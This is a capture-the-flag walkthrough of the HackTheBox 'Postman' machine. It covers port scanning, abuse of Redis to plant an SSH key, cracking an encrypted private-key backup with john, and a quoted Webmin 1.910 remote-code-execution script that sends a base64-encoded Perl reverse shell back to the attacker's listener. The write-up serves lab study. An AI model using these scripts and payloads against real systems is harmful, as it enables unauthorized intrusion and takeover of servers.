HackTheBox - Postman

Morten Hansen • January 30, 2022

Postman

nmap -sC -sV 10.10.10.160 -Pn | tee NMAP/log

PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp    open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: The Cyber Geek's Personal Website
|_http-title: The Cyber Geek's Personal Website
6379/tcp  open  redis   Redis key-value store 4.0.9
10000/tcp open  http    MiniServ 1.910 (Webmin httpd)
|_http-server-header: MiniServ/1.910
|_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1).

Port 1000 shows a webmin login-page. Need to edit hosts to include postman.

gobuster port 80
/.htaccess            (Status: 403) [Size: 296]
/.htpasswd            (Status: 403) [Size: 296]
/css                  (Status: 301) [Size: 310] [--> http://10.10.10.160/css/]
/fonts                (Status: 301) [Size: 312] [--> http://10.10.10.160/fonts/]
/images               (Status: 301) [Size: 313] [--> http://10.10.10.160/images/]
/js                   (Status: 301) [Size: 309] [--> http://10.10.10.160/js/]    
/server-status        (Status: 403) [Size: 300]                                  
/upload               (Status: 301) [Size: 313] [--> http://10.10.10.160/upload/]

By doing some googling around Redis we find an exploit at https://github.com/Ridter/redis-rce. This is a python-script that gives us a reverse shell.

#!/usr/bin/python
import os
import os.path
from sys import argv

script, ip_address, username = argv

PATH='/usr/bin/redis-cli'
PATH1='/usr/local/bin/redis-cli'

def ssh_connection():
        shell = "ssh -i " + '$HOME/.ssh/id_rsa ' + username+"@"+ip_address
        os.system(shell)

if os.path.isfile(PATH) or os.path.isfile(PATH1):
        try:
                os.system("(echo '\r\n\'; cat $HOME/.ssh/id_rsa.pub; echo  \'\r\n\') > $HOME/.ssh/public_key.txt")
                cmd = "redis-cli -h " + ip_address + ' flushall'
                cmd1 = "redis-cli -h " + ip_address
                os.system(cmd)
                cmd2 = "cat $HOME/.ssh/public_key.txt | redis-cli -h " +  ip_address + ' -x set cracklist'
                os.system(cmd2)
                cmd3 = cmd1 + ' config set dbfilename "backup.db" '
                cmd4 = cmd1 + ' config set  dir' + " /home/"+username+"/.ssh/"
                cmd5 = cmd1 + ' config set dbfilename "authorized_keys" '
                cmd6 = cmd1 + ' save'
                os.system(cmd3)
                os.system(cmd4)
                os.system(cmd5)
                os.system(cmd6)
                print ("\tYou'll get shell in sometime..Thanks for your patience")
                ssh_connection()

        except:
                print ("Something went wrong")
else:
        print ("\tRedis-cli:::::This utility is not present on your system. You need to install it to proceed further.")

When run python3 redis.py postman redis it gives us a reverse connection as redis. The user on the system is Matt and we does not have permissions.

Looking in the /opt folder we find a file called id_rsa.bak. The name suggests it's a backup of a private key. The file contains an encrypted RSA-key. We copy the key on to our own machine and isolate the hash value with ssh2john id_rsa.bak > hash. This gives us the hash output into a file we can crack with john the ripper. After running john hash -w="/usr/share/wordlists/rockyout.txt" we get the password computer2008.

We try to ssh in to the server as Matt but using the private key closes the connection without any shell. After some trial and error we can successfully swith to Matt when we are online as redis. We do this by typing su Matt and the password computer2008 when prompted. This gives us access as Matt and we can read the user.txt file inside /home/Matt/user.txt.

Basic enumeration doesn't give us much and we remember from NMAP that the webmin application is still running, and we see from ps aux | grep webmin that it is run as root.

When going to https://10.10.10.160:10000 we get an log in page. We try Matt/computer2008 and get access. By googling a bit we see that webmin 1.910 is vulnerable for RCE (https://github.com/roughiz/Webmin-1.910-Exploit-Script). I downloaded the following script and adjusted it in order to get it to work. The code shows it is written in python2 and we needed to remove some coloring addons, in order to get it to work.

#!/usr/bin/env python2
# -*- coding: utf8 -*-
import requests
import urllib3
urllib3.disable_warnings()
import argparse
import sys

arg_parser = argparse.ArgumentParser(description='Webmin 1.910 - Remote Code Execution using, python script')
arg_parser.add_argument('--rhost', dest='rhost', help='Ip address of the webmin server', type=str, required=True)
arg_parser.add_argument("--rport", dest="rport", type=int, help="target webmin port, default 10000", default=10000)
arg_parser.add_argument('--lhost', dest='lhost', help='Local ip address to listen for the reverse shell', type=str, required=True)
arg_parser.add_argument("--lport", dest="lport", type=int, help="The Bind port for the reverse shell\n Default is 4444", default=4444)
arg_parser.add_argument('-u','--user', dest='user', help='The username to use for authentication\n By default is admin', default='admin', type=str)
arg_parser.add_argument('-p','--password', dest='password', help='The password to use for authentication', required=True, type=str)
arg_parser.add_argument('-t','--TARGETURI', dest='targeturi', help='Base path for Webmin application. By default set to "/"', default='/',type=str)
arg_parser.add_argument('-s','--SSL', dest='ssl', help='Negotiate SSL/TLS for outgoing connections. By default ssl is set to False', default='False',type=str)
args = arg_parser.parse_args()

# proxy set for test
proxies = {'http': 'http://127.0.0.1:8080','https': 'http://127.0.0.1:8080'}

req={'page':'','user':args.user,'pass':args.password}
if args.ssl.lower() in ('yes', 'true', 't', 'y', '1'):
   url="https://"+args.rhost+":"+str(args.rport)+args.targeturi
else:
   url="http://"+args.rhost+":"+str(args.rport)+args.targeturi

resu=requests.post(url+"session_login.cgi",data=req, cookies={"testing":"1"}, verify=False, allow_redirects=False)
if "This web server is running in SSL mode" in resu.content:
    print ('********** [+] [Exploit][ERROR] Enable the ssl arg !!')
    print(resu.content)
    sys.exit(1)
if "sid" in resu.headers['Set-Cookie']:
   sid= resu.headers['Set-Cookie'].replace('\n', '').split('=')[1].split(";")[0].strip()
   print("\n")
   print ('********** [+] [Exploit] The Cookie is '+sid)
else:
   print ('********** [+] [Exploit][ERROR] The authentication to the webmin server failed')
   sys.exit(1)

# Templateofthe payload 
template="perl -MIO -e '$p=fork;exit,if($p);foreach my $key(keys %ENV){if($ENV{$key}=~/(.*)/){$ENV{$key}=$1;}}$c=new IO::Socket::INET(PeerAddr,\""+args.lhost+":"+str(args.lport)+"\");STDIN->fdopen($c,r);$~->fdopen($c,w);while(<>){if($_=~ /(.*)/){system $1;}};'"
b64payload = template.encode('base64').replace('\n', '').strip()
payload=' | bash -c "{echo,'+b64payload+'}|{base64,-d}|{bash,-i}"'

## request the payload
req={'u':['acl/apt',payload]}
headers= {'Connection': 'close','referer': url+"package-updates/?xnavigation=1"}

try:
  resu=requests.post(url+"package-updates/update.cgi",data=req, cookies={"sid":sid}, verify=False, allow_redirects=False, headers=headers, timeout=10)
except requests.Timeout:
    pass
except requests.ConnectionError:
    pass

I then set up a listener in my terminal with nc -lvnp 9001 and ran the script. python webminex.py --rhost 10.10.10.160 --rport 10000 --lhost 10.10.16.6 --lport 9001 -u Matt -p computer2008 -s true. This gives us a reverse connection as root.